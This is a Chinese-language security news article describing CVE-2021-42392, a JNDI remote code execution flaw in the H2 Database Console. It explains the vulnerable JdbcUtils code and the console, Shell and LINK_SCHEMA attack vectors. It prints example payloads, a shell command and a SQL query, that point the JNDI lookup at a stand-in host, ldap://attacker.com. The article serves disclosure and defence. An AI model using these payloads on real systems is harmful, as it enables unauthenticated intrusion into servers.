研究人员在H2 Database Console中发现一个类似log4j的安全漏洞。
H2是一个Java编写的关系型数据库,它可以被嵌入Java应用程序中使用,或者作为一个单独的数据库服务器运行。JFrog安全研究人员在H2 数据库中发现一个基于JNDI的漏洞,CVE编号为CVE-2021-42392。该漏洞是一个,该漏洞的根本原因与Apache Log4j类似。
漏洞根源分析——JNDI 远程类加载
该漏洞产生的本质原因是H2数据库过程中的多个代码路径会传递未过滤的攻击者控制的URL到javax.naming.Context.lookup 函数,可以加载远程代码库加载(AKA Java代码注入/AKA远程代码执行)。org.h2.util.JdbcUtils.getConnection方法将驱动类名和数据库url作为参数。如果驱动的类可以分配给javax.naming.Context,该方法就可以实例化一个对象,并调用其lookup方法:
else if (javax.naming.Context.class.isAssignableFrom(d)) {
// JNDI context
Context context = (Context) d.getDeclaredConstructor().newInstance();
DataSource ds = (DataSource) context.lookup(url);
if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
return ds.getConnection();
}
return ds.getConnection(user, password);
}
设置驱动类为javax.naming.InitialContext
,URL为ldap://attacker.com/Exploit
就可能导致远程代码执行。
JNDI攻击流
CVE-2021-42392攻击向量
H2 console
最严重的攻击向量是通过H2 console:
H2数据库中含有嵌入的基于web的console,可以实现对数据库的便捷管理。运行H2 package JAR时默认是在http://localhost:8082
上:java -jar bin/h2.jar
在Windows上,是通过开始菜单-H2 console应用:
此外,如果H2被用作嵌入式的库,可以从Java启动console:
h2Server = Server.createWebServer("-web", "-webAllowOthers", "-webPort", "8082");
h2Server.start();
访问console时会有一个受保护的登录表单,运行传递driver和URL域到JdbcUtils.getConnection
对应的域。这会导致非认证的远程代码执行,在执行含有可疑URL的lookup时用户名和密码是没有经过验证的。
Generic H2登录表单
一般情况下,H2 console只可以从localhost访问。但该选项可以修改为通过console的UI:
H2 Console选项
或修改为命令行参数:-webAllowOthers
。
但研究人员发现一些依赖H2数据库的第三方根据会运行默认暴露给远程客户端的H2 console。比如,JHipster框架就会暴露H2 console,并默认将webAllowOthers 属性设置为true:
# H2 Server Properties
0=JHipster H2 (Memory)|org.h2.Driver|jdbc\:h2\:mem\:jhbomtest|jhbomtest
webAllowOthers=true
webPort=8092
webSSL=false
根据官方文档,运行使用JHipster框架的应用时,H2 console默认是在/h2-console
终端的JHipster web接口上:
JHipster web接口
因为H2数据库被广泛使用,因此很难量化有多少有漏洞的H2 console的部署。
H2 Shell工具
在内置的H2 shell中,可以控制命令行参数的攻击者可以调用有漏洞的驱动和URL:
java -cp h2*.jar org.h2.tools.Shell -driver javax.naming.InitialContext -url ldap://attacker.com:1387/Exploit
但是这种攻击的现实可能性比较小。
基于SQL的攻击向量
有漏洞的JdbcUtils.getConnection 可能会被多个SQL存储的过程调用。研究人员识别出多个具有相同特征的过程,使得攻击向量不那么严重,因为只有经过认证的数据库管理员才可以调用。
比如,LINK_SCHEMA可以直接传递driver和URL参数给有漏洞的函数,比如下面的查询过程:
SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming.InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');
因为保存的过程受限于数据库管理员,研究人员认为最严重的攻击向量是将SQL注入提权为远程代码执行。
完整技术细节参见:https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/